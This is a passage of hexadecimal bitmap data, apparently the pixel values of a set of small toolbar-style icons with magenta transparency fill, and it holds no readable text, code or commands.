4D00D9B18B00E6CAB200DFBB9E00D7AA8400D7AA8400D9B18B00E3C5AD00D5AC
8800B3703C000000000000000000000000000000000000000000000000000000
0000000000000000000090CFEE0044B1E300CEF5FC009DEBF900BAF1FB00FEFF
FF0043AFE3008ACBEB000000000000000000000000000000000000000000F1F1
F100F1F1F100F1F1F100F1F1F100BDBDBD00BDBDBD00DADADA00E5E5E500DADA
DA00BDBDBD000000000000000000000000000000000000000000F9E2CC00F9E2
CC00F8E8D900F9EDE200F9EDE200F8E8D900F3D8BC00EDD0B600000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000D59A5900D09F6900E0BE9F00E3C5AD00E3C5AD00DFBB9E00C8966100C688
4000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000090CFEE0043AFE300DEF8FC00DEF8FC0043AF
E30090CFEE000000000000000000000000000000000000000000000000000000
0000F1F1F100F1F1F100F1F1F100F1F1F100F1F1F100E5E5E500DADADA00CACA
CA0000000000000000000000000000000000000000000000000000000000F8E8
D900F9DDC100F6D6B700F4D3B300F4D3B300F5E1CC0000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000D8A06400D1904D00CD8F4800D29D5A00000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000090CFEE0043AFE30043AFE30090CF
EE00000000000000000000000000000000000000000000000000000000000000
00000000000000000000F1F1F100E5E5E500E5E5E500E5E5E500000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000
0000000000000000000000000000818181007D7D7D0000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000D9BBA500C28C6600BF8A6500BC86
6200BC866200B6805D00B57F5D00B57F5D00B57F5D00AE785600AE785600AC76
5500AC765500AC765500AC765500C6A794000000000000000000000000000000
0000000000000000000089898900BCBCBC00B5B5B50069696900000000000000
000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D
9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D
9D009D9D9D009D9D9D00A1A1A100C9C9C9000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000C8926B00CDCDCD00D4D4D400D4D4
D400D4D4D400CDCDCD00CDCDCD00CDCDCD00C4C4C400CDCDCD00C4C4C400C4C4
C400C4C4C400C4C4C400AEAEAE00AC7655000000000000000000B5B5B5006969
6900747474000000000089898900CDCDCD00C5C5C50074747400000000006969
69004F4F4F00909090000000000000000000A1A1A100F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400A1A1A100000000000000000075B0E5003D8F
DB003289D9003289D9003289D9003289D9003289D9003289D9003289D9003289
D9003289D9003289D90084B8E80000000000C8926B00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00AC76550000000000D2D2D200BCBCBC00E2E2
E200A6A6A6008989890081818100CDCDCD00C5C5C5006969690074747400A6A6
A600D2D2D20081818100ACACAC00000000009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F4009D9D9D00000000004698DC00DEF0FA00A6DD
F4009DDBF40095DAF3008DD8F30085D7F3007ED4F2007ED4F20071D2F10071D2
F10068CFF100C1EAF8003E93DB0000000000C8926B00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00F9F9F900FFFFFF00F9F9F900FFFFFF00F9F9F900FFFF
FF00F9F9F900F9F9F900FFFFFF00A871510000000000D2D2D200ACACAC00D2D2
D200C5C5C500CDCDCD00D2D2D200C5C5C500C5C5C500CDCDCD00C5C5C500BCBC
BC00CDCDCD0069696900B5B5B500000000009D9D9D00F4F4F400F4F4F4005C5C
AC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5C
AC00F4F4F400F4F4F400F4F4F4009D9D9D00000000003E93DB00EEFAFE00A1E9
F90091E5F80080E1F70071DEF60062DAF50053D7F40043D3F30039D0F2002ECD
F10025CBF000CAF2FB003E93DB0000000000D19B7200FFFFFF00FFFFFF00F9F9
F900F9F9F900F2F2F200F2F2F200F2F2F200F2F2F200F2F2F200F2F2F200F2F2
F200F2F2F200F2F2F200FFFFFF00AC7655000000000000000000D2D2D200C5C5
C500C5C5C500C5C5C500C5C5C500ACACAC00A6A6A600C5C5C500BCBCBC00B5B5
B500ACACAC00B5B5B50000000000000000009D9D9D00F4F4F4005C5CAC005C5C
AC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C
AC005C5CAC00F4F4F400F4F4F4009D9D9D00000000003A9ADB00F1FAFD00B2ED
FA00A1E9F90091E5F80080E1F70075DEF60062DAF50053D7F40043D3F30039D0
F2002ECDF100CAF2FB003A9ADB0000000000D19B7200FFFFFF00FFFFFF00F9F9
F900F9F9F900F9F9F900F9F9F900F2F2F200F9F9F900F2F2F200F2F2F200F2F2
F200F2F2F200F2F2F200FFFFFF00AC765500B5B5B5009B9B9B00A6A6A600CDCD
CD00C5C5C500CDCDCD00B5B5B500E2E2E200E2E2E200A6A6A600C5C5C500BCBC
BC00BCBCBC006969690069696900747474009D9D9D00F4F4F400F4F4F4005C5C
AC005C5CAC005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C
AC005C5CAC00F4F4F400F4F4F4009D9D9D000000000039A1DA00F1FAFD00CAF2
FB00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6005CD9F5004ED6
F40043D3F300D0F3FC0039A1DA0000000000D19B7200FFFFFF00FFFFFF00FFFF
FF00F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F2F2F200F2F2F200F2F2
F200F2F2F200F2F2F200FFFFFF00B57F5D00C5C5C500E2E2E200D2D2D200C5C5
C500CDCDCD00B5B5B500DDDDDD000000000000000000E2E2E200A6A6A600C5C5
C500B5B5B500C5C5C500D2D2D200626262009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C
AC005C5CAC00EFEFEF004D7BA300416F96000000000039A5DA00FFFFFF00FFFF
FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0094E6F80080E1F7007BE0F60062DA
F5005CD9F500D0F3FC0039A1DA0000000000D7A07700FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00F9F9F900F9F9F900F9F9F900F9F9F900F9F9F900F9F9
F900F2F2F200F2F2F200FFFFFF00AC765500C5C5C500E2E2E200DDDDDD00C5C5
C500CDCDCD00A6A6A600DDDDDD000000000000000000E2E2E200ACACAC00C5C5
C500BCBCBC00C5C5C500DDDDDD00696969009D9D9D00F4F4F400F4F4F4005C5C
AC005C5CAC005C5CAC00F4F4F400F4F4F4005C5CAC005C5CAC005C5CAC005B5B
AA00EFEFEF00578BB7008CB1D40042709B000000000037ABDA00E9F6FB0093D4
EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00F1FA
FD00EEFAFE00FFFFFF0039A5DA0000000000D9A17800FFFFFF00FFFFFF00FFFF
FF00F9F9F900FFFFFF00FFFFFF00FFFFFF00F9F9F900F9F9F900F9F9F900F9F9
F900F9F9F900F2F2F200FFFFFF00B57F5D00D2D2D200CDCDCD00C5C5C500D2D2
D200CDCDCD00BCBCBC009B9B9B00DDDDDD00DDDDDD00ACACAC00C5C5C500BCBC
BC00CDCDCD0090909000909090009B9B9B009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F40092858B00A58E9100CCAD9300C8A9
8D00AB998E0096B1CB005C8CB7009D9D9D000000000039A5DA00F1FAFD0091DD
F40095DAF3007ED4F20069CAED0069CAED0085D7F3007FD2EF0079D0EF0075CF
EE0075CFEE00EEFAFE003AB4DB0000000000D9A17800D4D4D400D4D4D400D4D4
D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400CDCD
CD00D4D4D400CDCDCD00CDCDCD00B6805D000000000000000000E2E2E200D2D2
D200CDCDCD00CDCDCD00BCBCBC009B9B9B00A6A6A600BCBCBC00C5C5C500C5C5
C500B5B5B500C5C5C50000000000000000009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400C6B8AA00BBAAB200CBB9BF00F7E0C700F8E2
CB00F3D1B300A7998F00F4F4F4009D9D9D00000000003FB2DC00FFFFFF008DE4
F8008AE3F7009EE0F500ABE1F600F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00F1FAFD0058C1E00000000000D9A17800D4D4D400D4D4D400D4D4
D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400D4D4D400CDCD
CD00CDCDCD00CDCDCD00D4D4D400BC86620000000000E2E2E200C5C5C500DDDD
DD00D2D2D200DDDDDD00DDDDDD00D2D2D200D2D2D200DDDDDD00CDCDCD00CDCD
CD00CDCDCD007D7D7D00BCBCBC00000000009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F400EFEFEF00F4F4F400C5AA9400F2E3D400F4DAC100F3D8BD00F3D8
BD00F8E2CB00C4A48B00BDBDBD00C7C7C700000000003AB4DB00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8
E3007CCEE6007FD2EF000000000000000000D9A17800D9A17800D19B7200CF99
7100CF997100CF997100C8926B00C8926B00C7906A00C7906A00C28C6600C790
6A00C7906A00C28C6600C28C6600BF8A650000000000E9E9E900DDDDDD00E9E9
E900DDDDDD00C5C5C500BCBCBC00D2D2D200D2D2D200B5B5B500ACACAC00CDCD
CD00E2E2E200B5B5B500C5C5C500000000009D9D9D00F4F4F400F4F4F400F4F4
F400EFEFEF00F4F4F400EFEFEF00C8A98D00F8EADC00F4DAC100F4DAC100F3D8
BD00F8E2CB00CCAD9300C7C7C700000000000000000058C1E00061C2E10061C2
E10061C2E10061C2E10061C2E10055BEDF000000000000000000000000000000
000000000000000000000000000000000000DDAB8400F1DCCE00EAC09F00E8B8
9100E8B89100E8B89100E8B89100E8B89100E8B89100CDC8C400E8B89100CDC8
C400E8B891004363FF00EAC09F00C7906A000000000000000000E2E2E200D2D2
D200CDCDCD0000000000C5C5C500E2E2E200DDDDDD00BCBCBC0000000000B5B5
B500A6A6A600C5C5C5000000000000000000A1A1A100F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400CCAD9300F2E3D400F8E2CC00F6E0CA00F4DA
C100F2E3D400C5AA940000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000E5BFA200DEB39000D9A17800D9A1
7800D9A17800D9A17800D9A17800D7A07700D19B7200D19B7200D19B7200CE98
6F00C8926B00C8926B00C59D7E00D0AC92000000000000000000000000000000
00000000000000000000CDCDCD00E2E2E200E2E2E200B5B5B500000000000000
000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D
9D009D9D9D009D9D9D009D9D9D00AA9F9100DDC3AB00F4E6DA00F8ECDF00F6E0
CA00E3C9B200C3B3A50000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000
00000000000000000000E9E9E900D2D2D200D2D2D200E2E2E200000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000C3B3A500BFAE9700C8A98D00CDAF
9500BFAE97000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000225B
C0FF0441BBFF1E58BFFF00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000002371
40FF186A36FF237140FF0000000000000000FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000002765C9FF2076
E6FF0578EAFF0163DDFF064EBCFF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000278B52FF63B9
8CFF94D2B1FF63B98CFF278B52FF00000000FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000FF000000FF0000
00FF000000FF000000FF000000FF000000FF000000FF064EBCFF629CF4FF177E
FFFF0075F8FF0075EEFF0367E1FF1D57BFFF00000000000000FF000000FF0000
00FF000000FF000000FF000000FF000000FF000000FF1B6C3DFF63B98CFF5FB8
86FFFFFFFFFF5FB886FF63B98CFF1F6E3CFFC5A08B00C28D6700BF8A6500BC86
6200BC866200B6805D00B37D5B00B37D5B00AE785600AE785600AC755500AC75
5500AC755500AC755500AC755500C5A08B008080800080808000808080008080
8000808080008080800080808000808080008080800080808000808080008080
800080808000808080000000000000000000808080FF808080FF808080FF8080
80FF808080FF808080FF808080FF808080FF808080FF0441BBFFADCDFEFFFFFF
FFFFFFFFFFFFFFFFFFFF177EEFFF0441BBFF808080FF808080FF808080FF8080
80FF808080FF808080FF808080FF808080FF808080FF307A4BFF9BD4B5FFFFFF
FFFFFFFFFFFFFFFFFFFF94D2B1FF186A36FFC8926B00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00AC75550080808000FFFFFF0000FFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF0C56C0FF8CB4F6FF4C91
FFFF1176FFFF2085FFFF3F89EBFF225BC0FF808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF438861FF8FD3B0FF94D2
B1FFFFFFFFFF63B98CFF63B98CFF1F6E3CFFC8926B00FFFFFF00F3F3F300BABA
BA00BABABA00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00AC75550080808000FFFFFF00C0C0C00000FF
FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF
FF00C0C0C000808080000000000000000000808080FFFFFFFFFFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF3774D2FF8CB4
F6FFB7D6FEFF71A7F5FF2C6BCBFF00000000808080FFFFFFFFFFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF60AA80FF94D2
B1FFB9E6D0FF69BA8EFF2C8E56FF00000000C8926B00FFFFFF00F3F3F300BABA
BA00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FDFDF900FFFFFF00A871510080808000FFFFFF0000FFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF155C
C5FF0441BBFF1958C0FF000000FF00000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFF5796
74FF4E8D65FF438861FF000000FF00000000D29C7200FFFFFF00F3F3F300BABA
BA00BABABA00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FDFDF900FDFD
F900F7F3ED00F7F3ED00FFFFFF00B07A570080808000FFFFFF00C0C0C00000FF
FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF
FF00C0C0C000808080000000000000000000808080FFFFFFFFFFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF
FFFFC0C0C0FF808080FF000000FF00000000808080FFFFFFFFFFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF
FFFFC0C0C0FF808080FF000000FF00000000D29C7200FFFFFF00F3F3F300BABA
BA00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00F6EDE900F7F3ED00F7F3
ED00FFFFFF00F7F3ED00FFFFFF00B07A570080808000FFFFFF0000FFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0
C0FF00FFFFFF808080FF000000FF00000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0
C0FF00FFFFFF808080FF000000FF00000000D29C7200FFFFFF00BABABA00BABA
BA00BABABA00FFFFFF00DCA57900FFFFFF00FBF6F200FDFDF900F7F3ED00F7F3
ED00F7F3ED00F7F3ED00FFFFFF00B37D5B0080808000FFFFFF00C0C0C00000FF
FF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FF
FF00C0C0C000808080000000000000000000808080FFFFFFFFFFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF
FFFFC0C0C0FF808080FF000000FF00000000808080FFFFFFFFFFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FF
FFFFC0C0C0FF808080FF000000FF00000000DCA57900FFFFFF00BABABA00FFFF
FF00FFFFFF00FFFFFF00DCA57900FFFFFF00FBF6F200F7F3ED00F7F3ED00F7F3
ED00F6EDE900F6EDE900FFFFFF00B6805D0080808000FFFFFF0000FFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0C00000FFFF00C0C0
C00000FFFF00808080000000000000000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0
C0FF00FFFFFF808080FF000000FF00000000808080FFFFFFFFFF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0
C0FF00FFFFFF808080FF000000FF00000000DCA57900FFFFFF00B5B5B500BABA
BA00FFFFFF00FFFFFF00DCA57900FFFFFF00F7F3ED00F6EDE900F6EDE900F6ED
E900F6EDE900F2E7DE00FFFFFF00B9845F0080808000FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00808080000000000000000000808080FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF808080FF000000FF00000000808080FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF808080FF000000FF00000000DCA57900FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00DCA57900FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00BC86620080808000C0C0C00000FFFF00C0C0
C00000FFFF00C0C0C00000FFFF00C0C0C0008080800080808000808080008080
800080808000808080000000000000000000808080FFC0C0C0FF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF808080FF808080FF8080
80FF808080FF808080FF0000000000000000808080FFC0C0C0FF00FFFFFFC0C0
C0FF00FFFFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF808080FF808080FF8080
80FF808080FF808080FF0000000000000000DCA57900DCA57900DCA57900DCA5
7900DCA57900DCA57900DCA57900DCA57900DCA57900DCA57900DCA57900DCA5
7900DCA57900DCA57900DCA57900BF8A65000000000080808000C0C0C00000FF
FF00C0C0C00000FFFF00C0C0C000808080000000000000000000000000000000
00000000000000000000000000000000000000000000808080FFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF0000000000000000000000000000
00000000000000000000000000000000000000000000808080FFC0C0C0FF00FF
FFFFC0C0C0FF00FFFFFFC0C0C0FF808080FF0000000000000000000000000000
000000000000000000000000000000000000DDAB8400E8B89100E8B89100E8B8
9100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B8
9100E8B89100E8B89100E8B89100C08F6F000000000000000000808080008080
8000808080008080800080808000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000808080FF8080
80FF808080FF808080FF808080FF000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000808080FF8080
80FF808080FF808080FF808080FF000000000000000000000000000000000000
000000000000000000000000000000000000FE00FE00DEB39000DCA57900DCA5
7900DCA57900DCA57900D29C7200D29C7200D29C7200CF997100CE986F00CE98
6F00C8926B00C8926B00C59D7E00FE00FE000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00FE00
FE00FE00FE00FE00FE00FE00FE00FE00FE000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000133F570014415D002468
9B002B75B30079AFCF0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000549B5D003E8D48003A8B44004B945200000000000000
000000000000000000000000000000000000C7C7C700A1A1A1009D9D9D009D9D
9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D
9D009D9D9D009D9D9D00A1A1A100C9C9C900C7C7C700A1A1A1009D9D9D009D9D
9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D9D009D9D
9D009D9D9D009D9D9D00A1A1A100C9C9C9000000000014415D005C9BD400A4CF
F400A8CFEC00478AC0002B75B300000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000569E610040984F007CC18E0095D0A50095CFA50077BD8800368D41003A8B
440000000000000000000000000000000000A1A1A100F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400A1A1A100A1A1A100F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400A1A1A100000000001D6C9200CBE3F80060A9
EC003F97E8001466C100155FA9002B75B3000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000569E
610063B37700A7DBB40085CB970065BB7C0065BB7C0085CB9700A7DBB40057A9
6A0034853B000000000000000000000000009D9D9D00F4F4F400FA5C5C00FA5C
5C00F4F4F400FA5C5C00FA5C5C00F4F4F400F4F4F400FA5C5C00FA5C5C00FA5C
5C00F4F4F400F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F4009D9D9D00000000001D6C9200CBE3F800D1E7
FA00337CB4003098C2006CC3DC00499BCF003382C70000000000000000000000
000000000000000000000000000000000000000000000000000066AB740069B8
7C00A7DBB4005FBB76005FBB760057B46D0057B46D0057B46D005AB67300A7DB
B40057A96A00408D470000000000000000009D9D9D00F4F4F400FA5C5C00FA5C
5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C
5C00FA5C5C00F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F4005C5C
AC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5CAC005C5C
AC00F4F4F400F4F4F400F4F4F4009D9D9D0000000000000000002588B800AFCB
E10066A8C8005FDCF50043D6F4008DEEFA005CB3E6003A8ED900000000000000
000000000000000000000000000000000000000000000000000052AA6700A8DD
B20063C078005EBD70005FBB7600FFFFFF00FFFFFF0058B66E0057B46D005AB6
7300A7DBB400368D410000000000000000009D9D9D00F4F4F400FA5C5C00FA5C
5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C
5C00FA5C5C00F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F4005C5CAC005C5C
AC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C
AC005C5CAC00F4F4F400F4F4F4009D9D9D000000000000000000000000002588
B800BDE6F200B2F4FC005FDCF50043D6F4008DEEFA005CB3E6003A8ED9000000
0000000000000000000000000000000000000000000076B6870089CC970088D3
95006AC5790062C06F0052AA6700FFFFFF00FFFFFF0058B66E0058B66E005FBB
760085CB97007ABD8C004B945200000000009D9D9D00F4F4F400FA5C5C00FA5C
5C00F4F4F400FA5C5C00FA5C5C00F4F4F400F4F4F400FA5C5C00FA5C5C00FA5C
5C00F4F4F400F4F4F400F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F4005C5C
AC005C5CAC005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C
AC005C5CAC00F4F4F400F4F4F4009D9D9D000000000000000000000000000000
0000268FBE00C2EDF800B2F4FC005FDCF50043D6F4008DEEFA005CB3E6003A8E
D900000000000000000000000000000000000000000069B07D00A8DDB2007CCF
890074CC8000FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF0057B4
6D0065BB7C009BD4AA003A8B4400000000009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4F400F4F4
F400EEEEEE00EEEEEE00F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F400F4F4
F400F4F4F4005C5CAC005C5CAC00F4F4F4005C5CAC005C5CAC00F4F4F4005C5C
AC005C5CAC00EEEEEE00F4F4F4009D9D9D000000000000000000000000000000
0000000000002EB9E400C2EDF800B2F4FC005FDCF50043D6F4008DEEFA005CB3
E6003A8ED900000000000000000000000000000000006DB38100B5E2BD0088D3
95007AC98500FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF0058B6
6E006AC579009BD4AA003A8B4400000000009D9D9D00F4F4F400F4F4F400FA5C
5C00FA5C5C00FA5C5C00F4F4F400F4F4F400FA5C5C00FA5C5C00EEEEEE00FA5C
5C00FA5C5C00EEEEEE00F4F4F4009D9D9D009D9D9D00F4F4F400F4F4F4005C5C
AC005C5CAC005C5CAC00F4F4F400F4F4F4005C5CAC005C5CAC005C5CAC005B5B
AA00EEEEEE00EEEEEE00F4F4F4009D9D9D000000000000000000000000000000
000000000000000000002EB9E400C2EDF800B2F4FC005FDCF50043D6F4008DEE
FA005CB3E6003A8ED90000000000000000000000000080BE9300A8DDB200A4DF
AE0080CB8B007AC9850069B87C00FFFFFF00FFFFFF0057A96A005FBB76005FBB
76008AD198007FC49100569E6100000000009D9D9D00F4F4F400FA5C5C00FA5C
5C00F4F4F400FA5C5C00FA5C5C00F4F4F400FA5C5C00FA5C5C00EEEEEE00F759
